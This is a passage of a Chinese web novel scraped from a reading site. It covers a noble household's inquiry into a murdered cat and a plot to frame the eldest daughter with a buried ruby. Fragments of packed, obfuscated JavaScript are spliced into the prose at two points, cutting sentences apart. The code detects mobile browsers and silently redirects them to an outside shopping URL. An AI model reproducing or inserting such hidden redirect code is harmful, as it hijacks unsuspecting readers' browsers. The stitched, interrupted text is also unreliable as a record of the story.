RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389663|140659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我……” “说！是谁让你做的！”丫鬟还想解释什么，却被魏三夫人一声喝住，“我给你十个数儿的时间说，说出背后是谁让你做的，我就放了你，不然，我便把你押到官府去，乱棍打死。” “三夫人！奴婢冤枉啊！这真的是奴婢捡的！”丫鬟放肆大哭起来。 “老董头，计数！”魏九英连忙插了句话进来，声音洪武有力，崔六夫人还险些以为这儿还有军旅的汉子在。 “十。” “你可以护着你背后的人，这当然没有关系，我也不知道你背后的人能给你，亦或是你的家人多少钱，才可以买的下你这条命，你们商议好了吗？”魏三夫人冷笑。 “三夫人，这真的是奴婢捡的，奴婢什么也没有做，奴婢背后没有人。”丫鬟放肆磕头。 “九。” “阖府都知道这只狸奴是四娘子的心头宝，你平白无故的，去杀一只猫做什么？还专门挑个主子娘子的心头宝杀？”魏三夫人根本不信丫鬟的话，她悠悠地丢出来一句，“除非你是新买进来的，还不知道这猫的身份咯？” “是是是！”丫鬟忙道，“是，奴婢才进了宅子里，奴婢根本就不知道这猫是谁的。” “我的猫真的是你杀的？”魏九英怒骂，“老董头给我……” “是谁指使你杀的！” 魏三夫人立刻打断魏九英，她怒吼道，声音比魏九英有过之而无不及。 崔六夫人此时有些回过味来了。 她是应该主动提出离开。 方才她未曾提到此事，是因为狸奴之死心头窝火，尚未想到这一点，然而魏三夫人也未曾主动提出要她走，甚至还当着她的面审问，将事情闹得沸沸扬扬。 丹州府崔家家风确实端正，但大家族私下也少不了阴私事儿，冷静下来想想，崔六夫人便懂得了魏三夫人的用意。 她的儿子，还真是一个香饽饽。 崔六夫人在心中哂笑。 “我没有！奴婢真的没有！”丫鬟忙摇头。 “八。”董大管事继续报数。 “既然没人指使你，你也承认猫是你杀的，那便不必计数了，老董头，扭送衙门里去吧，就说是恶奴欺主，要他们乱棍打死。”魏三夫人冷冷地道。 “我……我……”丫鬟懵了，她磕磕巴巴，一时之间不知道该说什么才好。 董大管事也不再计数了，两个小厮一左一右提起丫鬟，就要向外走着。 丫鬟终于反应了过来，她猛地挣扎，大声喊着：“夫人饶命，夫人饶命啊，奴婢真的不是故意的，奴婢不是！” 可是魏三夫人没有喊停。 小厮一路把丫鬟拖到了门边。 “衙门里的打死，也是略有些手段的，有些人挨上一顿，没也就没了，有些人做了什么得人记恨的事儿，人家请了衙门照顾，一顿死不了，只能日日都挨一顿，有的人甚至内里都打烂了，面上一点事儿都没有，最后一点一点从里面烂掉，人都发臭了，尚还能吊着一口气。” 魏三夫人身边的婆子悠悠地道。 她的声音不大也不小，恰好能让丫鬟听到。 丫鬟吓得毛骨悚然，她嘶声厉吼着：“夫人！夫人！饶我一命！饶我一命吧！我什么都招，我什么都招。” 魏三夫人挥了挥手，让小厮把丫鬟扔了下来。 丫鬟倒在地上，手在砾石上擦出一片血迹。 “说吧，背后指使你，让你杀了四娘子的猫，还把尸体丢在她面前的，是谁？” “是……” 丫鬟眼神躲闪，声音像泄了气的皮球。 “……是三娘子。” 魏兰蕴坐在空空荡荡的阁楼里面。 她还在看着那本百家姓，书就快看到末尾了。 梁国的文字同样也是象形文字，更接近于隶书与楷书之间，只要掌握了文字的部首构成，她便可以大致辨认出所有的文字。 魏兰蕴全神贯注地看着，眼里尽是摄取到知识的喜悦。 而在她的双目之外。 有人悄然在院子的树底下挖了一个坑。 埋了一块闪闪发光的红宝石进去。 14. 独行的少女（七） 魏九英出生的时候，其实她并不在上阳。 她出生的时候，老太爷并没有看见满院的梅花，也没有吟咏出袭九英之曜精兮，佩瑶光以发微（注1）的诗句，让老太爷吟咏出这样诗句的孩子。 是魏九芙。 是那个比魏九英早出生两日的女孩子，是魏三娘子。 只是后来这个女孩子的名字被人拿走了。 她被取下名字的来龙去脉也被人拿走了。 拿走她名字的人，仿若恩赐一般，让她与她的女儿共用了一个字，然后再随便捡了个字给她，她让她叫魏九芙。 魏家的孩子，名字几乎都是老太爷取的。 老太爷喜欢从花中给女孩子们挑名字。 大孙女魏兰蕴是兰花，二孙女魏棠宁是海棠，四孙女取自梅花，那个人说魏九芙也是花，是芙蓉花，也是魏家如珍似宝的花儿。 但是花与花之间是有区别的。 有人携兰而蕴，有人棠棣协宁，有人袭九英之曜精兮（注2），有人叫魏九芙。 有人的名字是玉堂人物感发而作，有人的名字是穷秀才家的识得一两个字的女儿，随便迎合着花的字眼儿而牵强附会取的。 魏九芙并不喜欢这个名字。 她觉得她像这个名字一样，只能被别人肆意抢走本该属于自己的东西，然后感恩戴德地接受别人施舍给她的渣斗。 自这个名字始。 她写的诗会被人拿走，拿去作为装点别人女儿才名的篇章；长辈赠给她的珠宝首饰会被人拿走，以孝之名拿去充了别人自己的私库；有时候，有的院子里例行分下来的吃食不够了，别人也会在她这里拿，因为他们说，女孩子以窈窕为美，不需要吃这么多米面油粮。 魏九芙恨极了。 她讨厌这种被人欺辱、被人俯视的感觉。 就因为她是一个庶出的，是一个歌女肚子里面爬出来的，她就应该谨小慎微不争不抢，缩在阴暗的角落里面，然后看着那些嫡出的夫人生的，拿着一切她渴求而不得的东西，活得朝阳明媚。 凭什么？ 魏九芙不甘心。 她要向上爬。 而一个女人向上爬能做些什么？ 是嫁人。 魏九芙想的很明白。 在她出生没有获得慈爱的父亲以及高贵的母亲之后，魏九芙想往上爬，那么便只能获取一个高贵的丈夫。 所以她要崔九郎。 魏九芙的院子很简陋，但是洗刷得干干净净，厅上摆了一张书案，案几是用了许多年的老物件，案角是斑驳还脱了漆的，累的小山般厚重的书堆叠在案几上，魏九芙跪坐在书案前，手里拿着一本东山文集。 这是崔九郎的书。 她并不喜欢这本书。 但这并不妨碍她手不释卷地读着。 两个夫人带着丫鬟来了魏九芙的院子里。 魏九英被拦在了外面。 门砰一下被踢开，丫鬟被绑着，像一只牲畜一样扔在了魏九芙面前。 魏九芙吓极了，她的脸色骤然变得苍白，她唯唯诺诺地望着步入而来的两个夫人，跪下来施了一个端正的礼。 多么懂事又惹人怜爱的小娘子。 她躬身的时候，正好露出头发里小到隐蔽的素银簪子，一根陈旧的发灰的素银簪子，就同这间陋室一样，是崔家有头有脸的奴仆都不会用的东西。 崔六夫人看见了她手里的那本东山文集。 书页已经发旧了。 显然已经翻过多次了。 “三娘，你父亲已经商议好你的亲事了，只是尚未下定，若是你想让你父亲背信弃义，想要你妹妹的夫婿，你就大大方方说出来，母亲怎么会不考虑你呢？”魏三夫人悠悠地说道，“你这样故意杀了妹妹的猫，让你妹妹当着客人的面出丑，这不单单是丢了妹妹的面子，更是丢了我们魏家的面子，你可知道吗？” 她宛若一个慈母，谆谆教诲着不乖的孩子们。 她没有审问，没有盘查，仅凭一个丫鬟吐露出来的名字，便轻飘飘将这桩罪状钉死在了魏九芙身上。 魏九芙早就预料到了如此。 “什么婚事？这位夫人是？”她的双眸睁着，却满是不解。 既然她不知道这位夫人是谁，她也不知道有什么婚事，那她又有什么动机呢？ 魏九芙楚楚可怜地看着两位夫人，泪盈了满眶。 “这是崔府的六夫人。”三夫人身边的婆子冷冷地补充道。 “崔府？”魏九芙先是迟疑，随后似乎想到了什么，捧着东山文集，双眼亮晶晶地望着崔六夫人，“您就是东山先生的母亲？” 装的真是假极了。 魏三夫人心里轻啐道。 魏三夫人才不信这个庶女的话。 这些庶出的东西最喜欢就是缩在阴暗的角落里面，阴暗地算计别人。 魏三夫人尚记得她幼时被庶女算计的苦。 她的庶姐故意被她推倒，然后在父亲的面哭诉，字字句句高风亮节，都是一个好姐姐袒护妹妹的辩解，同时也是把妹妹钉成罪魁祸首的陈词。 魏三夫人恨极了这些庶东西。 所以从没给她手下的庶女好日子过。 她手底下这个三娘子看上去温婉懂事谨小慎微，但魏三夫人清楚的知道，会咬人的狗不叫，她越乖顺，心里的算计就越多，就像现在，她乖顺了这么多年，然后匍匐在最关键的时候，给了魏三夫人狠狠的一击。 不过崔六夫人倒是对魏九芙很是满意。 谁能讨厌一个仰慕她儿子文名的女孩子呢？ 女孩子睁着一双灿若繁星的眸子，滔滔不绝地说着对这些文篇的感悟，虽然崔六夫人其实听不太明白文章里的所写所文，但这并不妨碍她对魏九芙赞许地点头。 魏三夫人不动声色地给了婆子一个眼神。 婆子松开了丫鬟的绳子。 丫鬟似乎早被那残酷的刑罚吓破了胆，她猛地一下扑过去，抱住了魏九芙的腿。 丫鬟大哭道：“三娘子，我都是按照三娘子的吩咐做的，三娘子不能抛下奴婢啊！” 书案被丫鬟撞翻了，小山似的书落了满地。 在那些被翻旧的高雅的文集之下，是崭新的被用来凑数的蒙书，一本连书封都尚未拆开的三字经正好掉在了魏三夫人脚下。 魏三夫人不动声色地将书踢往崔六夫人的方向。 “你是……”魏九芙诧异地看着丫鬟，她手足无措。 丫鬟哭着，吐字却清晰极了，人满为患的厅里，每个人都能听清她的声音。 “是三娘子吩咐奴婢杀的四娘子的猫，三娘子说了，凭什么崔九郎这般好的儿郎要是四娘子的夫婿，同样都是魏家的女儿，为何四娘子就嫁的，三娘子就嫁不得……” “你真是满口胡言！”魏九芙打断了丫鬟，她胸膛被气的起伏，是一副畏缩的女儿强装证明自己清白的模样，“你说！若是我吩咐的你，我给了你什么好处，让你帮我做事，你可有什么凭证？” 丫鬟似乎哽住了，她望着这间陋室，是一副急中生智的模样。 “您平日里过的清贫，哪里来的银子给奴婢，您说过，事成之后带奴婢去崔家做贴身侍婢，现在事情败露了，三娘子您可不能不管奴婢啊！” “你胡说！”魏九芙似乎是冤极了，泪汪汪地落下，她跪下来朝着魏三夫人砰砰砰磕着头，她说，“母亲，您信我，我没有！” 这算什么证据呢？只凭一个丫鬟，一段空口白牙说出来的话，又怎么可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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拦住魏九英的人墙陡然间裂开了一条口子。 魏九英找准机会冲了进来。 魏九英听不懂这些言语里面的弯弯绕，她只听见丫鬟说，是魏九芙致使丫鬟害了她的猫。 魏九英气极了，拿着剪子狠狠朝着魏九芙扎去。 利刃眼看就要划破魏九芙的眼睛。 “给我拦住她！”魏三夫人怒吼。 这个蠢货在干什么？ 她在当着外人的面，当着她未来婆婆的面，为了一只猫，残害手足吗？ 婆子们也都吓坏了，纷纷扑上去拦住魏九英。 挥舞的剪子划破了一个婆子的手。 血洒了一地。 魏九芙尖叫了起来。 她只是一个可怜的胆小的没见过血的庶女。 她看见血，怎么能不尖叫？ 厅里乱成了一团。 “都给我住手！” 一声中气十足的厉喝声响起，屋外的人墙再度裂了开来，这里喧闹嘈杂的声音，终于引来了这个府里的老爷。 魏三老爷背着手走了进来。 “这是在做什么？”魏三老爷问。 魏九英的剪子被夺去了，她被五花大绑地捆在了廊下。 魏九芙缩在角落里面，一张脸满是惊惧泪水。 丫鬟抱着她的腿，更是狼狈。 董管家对着魏三老爷一五一十地禀报着，魏三老爷的面色越来越黑，直到他看见了崔六夫人，他心中的怒气几乎要迸发开来。 “事情是你做的吗？”魏三老爷一字一句问魏九芙。 魏九芙摇头，一双眼睛尽是茫然。 “既如此……” 魏三老爷沉吟，正要有了思量，却听自己带来的管事咦了一声。 这个管事认出了杨阿雁，认出了这个被他坑了一次，魏三老爷沉吟，正要有了思量，却听自己带来的管事脱口说道—— “三老爷，这个丫鬟，是大娘子身边的。” 15. 独行的少女（八） “哪个大娘子？” 魏三老爷下意识脱口而出。 在这个家里，并没有哪个大娘子是令他印象深刻的。 他尚未想起魏兰蕴。 魏三夫人倒是立即想起了她。 只是有的人似乎已经比她先想起一步。 “你是大娘子的丫鬟，你为什么要听我们娘子的话？”魏九芙的丫鬟冲了出来，她扒拉着杨阿雁的肩膀，将她从魏九芙身上拽下来，“说！这件事是不是大娘子让你做的，然后栽赃到我们娘子身上！” 一个忠心耿耿的丫鬟，终于在需要她的时候粉墨登场。 忠仆正气凛然地护在主子面前，将她善良柔弱的主子不能说的话，一股脑儿全说了出来。 “这毕竟是大娘子的丫鬟，她为什么要听三娘子的话？” “是大娘子？” 人潮涌动，大家都被这突如其来的变故讶住了。 他们交头接耳，他们议论纷纷。 “大娘子是……”崔六夫人疑惑地望着魏三夫人。 魏三夫人低声向她解释：“这是我家大哥的女儿，身体不好，故寄养在我家。” 南边天气暖些，高门里的女儿送来南方养病，这并不是少数，家丑不可外扬，他们将魏兰蕴送来银湾的时候，用的就是这个借口。 崔六夫人听说过这个魏家大姐儿。 是个刁蛮嚣张不讲理的丫头。 听说前些日子还跑去清水潭徐老二的家里顽了好些天，闹得徐家人仰马翻，如果是这位魏家大姐让人杀了狸奴，并嫁祸给了妹妹，这也说不上不合情合理。 崔六夫人了然。 魏三夫人心头咯噔一声。 凶手要变了。 当凶手变成魏兰蕴之后，最佳的联姻人选便显而易见了。 崔六夫人见到的三个女儿，一个心思歹毒，一个举止粗鲁，剩下一个善良柔弱还饱读诗书，如果她是崔六夫人，她会怎么选？ “大娘子是要去考县试的人，一心学业，你背着大娘子出来，究竟是受了谁的指使，干出这种腌臜事儿！”魏三夫人见势不妙，立即质问杨阿雁道。 “我……” 她本不该在这个时候被戳穿身份，这不是台本里该有的对白。 杨阿雁结巴了，她嗫嗫嚅嚅，说不出个所以然来。 “说不出来？”魏三老爷冷笑，威严的老爷才不在乎谁是谁非，他只在乎什么时候能结束这场丢光家里面子的闹剧，“既然说不出来，那么就打死了事，我倒要看看，是谁故意送了个人过来，败坏我魏家的门风。” 仆人拿着木杖过来。 这杖极重，打在身上该是断骨碎肉的痛。 杨阿雁从未见过这样的阵仗。 她被吓住了，猛地一下扑过去扒着魏九芙的腿，重复着台本里有的词儿：“三娘子，奴婢都是按你的吩咐做的，三娘子您可不能不管奴婢啊！” 这一切的一切都是你魏三娘子指使的，你可不能不管我！ 杨阿雁死死抓着魏九芙不撒手。 “你走开！你莫要在诬陷我家娘子，我家娘子什么都不知道！”忠仆拽着魏兰蕴的腿。 “父亲！父亲！这真的不是我做的，真的不是，女儿是您一手教养长大的，女儿的脾性您最清楚了，这种事情怎么可能是女儿做的呢？” 魏九芙仰着脖子哭。 她哭得美极了，梨花带雨。 她是在仁德和善的魏三老爷的教养下长大的，她怎么会是一个坏人？ 魏三老爷也是这么想的。 这个女儿是他从小看着长大的，对比粗鲁野蛮的另外一个女儿而言，这个女儿最是乖巧懂事，她又怎么会做这样的恶事？ 魏三老爷陡然想起了那个令他头痛的粗鲁女儿，这个粗鲁女儿方才竟险些划破了乖巧女儿的眼睛，这真是令人后怕。 魏三老爷转头，狠狠剜了魏九英一眼。 这个孽畜！ 今日的争端都是这个孽畜引起的。 不过是死了一只猫而已。 这个孽畜竟胆大妄为想要谋杀亲姐！ 不过处置这个孽畜毕竟是后话。 为今之计，还是要给这样恶毒的事情定一个凶手。 这个凶手应该是谁，魏三老爷的心里已经有了定论了。 “你既然说是三娘子做的，那么你便拿出证据来，如果拿不出来，你就是以奴诬主，这样的罪行，就算是我在这里打死你，那也是可了事的。” 魏三老爷命人把杨阿雁扯了出来，压着她单独跪在地上。 有人给魏三老爷搬了一张椅子来。 魏三老爷坐在上面，冷漠地看着杨阿雁，仆人拿着木杖站在他的身后，如果杨阿雁的回答有一丝错漏，这百八十斤的木杖就会立刻打下去，只一下，就能打断杨阿雁的脖子。 “这……” 杨阿雁似乎有些犹豫。 但魏三老爷没给她犹豫的时间，就在杨阿雁发出第一个音节却又没有后续的时候，魏三老爷的手便已经抬起。 仆人们依令行事，将木杖高高举起。 疯狗咬人不露牙，恶狗伤人不吭声（注1）。 魏三老爷并不是想审问杨阿雁，他是真的想要杀她，木杖高高举起，就像即将落下的闸刀，杨阿雁近乎是吓破了胆。 她嚎叫着，没有依照台本里给的顺序，直接说出了里面的最后一句话—— “是大娘子让我做的！是大娘子让我杀的狸奴，是大娘子让我栽赃给三娘子的！” “哦？”魏三老爷让仆人停下。 还不待他继续审问，魏三夫人便先他一步开口。 “你既然说是大娘子让你做的，那便拿出证据来！咱们大姐儿现在是一心科考的人，两耳不闻窗外事，又怎么会你让杀狸奴，还让你栽赃给三姐儿？你这恶仆，若是给不出证据，随意攀诬主人，立即乱棍打死！” “有！当然有！” 杨阿雁匆匆喊道，生怕她再犹豫一会儿，头顶的木杖便打了下来。 杨阿雁怕极了，她将词本里剩下的词儿一口气全吐了出来，她现在只想尽快结束这场闹剧，拿了酬金即刻跑路。 “大娘子想要那狸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426736|140659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奴脖上拴着的红宝石，那猫上蹿下跳地挣扎，取不下来，大娘子便命我拿了胡桃夹子来，把猫儿的脑袋夹碎，取了红宝石走了，大娘子生怕东窗事发，让我把红宝石埋在院子里那棵老槐树底下，然后命我过来，将杀猫这件事栽赃在三娘子身上。”杨阿雁一五一十地交代着。 这个怂货。 魏九芙心里暗骂。 “咱们大姐儿可是老太爷带大的，什么好东西没见过，会看得上这一颗拴猫儿的石头？若是她想要，咱们魏家的库房里有十块百块这样的石头！何至于取一只畜生用过的？”魏三夫人厉喝，“来人啊，将这胡言乱语的恶婢拖下去打死！” “大姐姐怎么会做出这种事情，你在撒谎！你这个婢子，攀诬我不成，就攀诬我大姐姐吗？究竟是谁指使你做这事儿的！你要是不说出来，你今日必死无疑！” 魏九芙怒喝，她心爱的大姐姐被冤枉了，她似乎气极了。 “奴婢没有！奴婢没有胡言乱语，都是真的！”杨阿雁大叫道，跑偏的剧情忽的又回到了它应该在的位置，杨阿雁按着台本儿，又说出了她本来说出来的台词，“若不是大娘子让奴婢攀诬三娘子，奴婢为什么杀了猫之后还留在正院？又为何故意在查验的时候露出马脚？大家若是不信，大可以去大娘子院里的老槐树下看，那块红宝石就在那里，石头是新埋进去的！” 虽然过程曲折了些，但到底话终于说到了点子上。 现在杀了杨阿雁，那可真是将这盆污水扣在魏兰蕴身上了。 魏九芙松了一口气。 魏三老爷给了董管家一个眼神。 董管家立即会意，带了一行小厮出门。 那个刚刚填好的坑又被挖开了。 一颗闪闪发光的红宝石从坑里被挖出来。 董管家拿着这颗宝石走了。 他们也没避着魏兰蕴。 魏兰蕴静静地坐着。 她翻到了书的最后一页。 他们藏宝石、取宝石，都没有防着她。 他们问罪、定罪，都没有问过她。 沉默是表达轻蔑最完美的方式（注2），置若罔闻有时候比鄙夷嘲讽更让人感到难堪。 她从没在这些人的眼睛里出现过。 魏兰蕴将这本书合上了。 她站起身来，这是她这三天以来第一次走出阁楼。 她从荒废的厨房里拿出了一把刀。 这是以前用来杀猪剁骨的刀。 刀已经很久没有用过了。 上面锈迹斑斑。 乍一提起来甚至还能听见铁的嗡鸣。 魏兰蕴提着刀往外走。 红宝石递呈在了魏三老爷面前。 如果说方才的话魏三老爷信了三分，那么在见到这颗红宝石之后，魏三老爷对这番话便信了七分。 这是一颗特殊的红宝石。 这是魏三老爷微末时，见过的绝无仅有的好东西。 他印象深刻极了。 魏兰蕴的确有拿走这颗红宝石的动机。 因为这颗红宝石本应该是魏兰蕴的。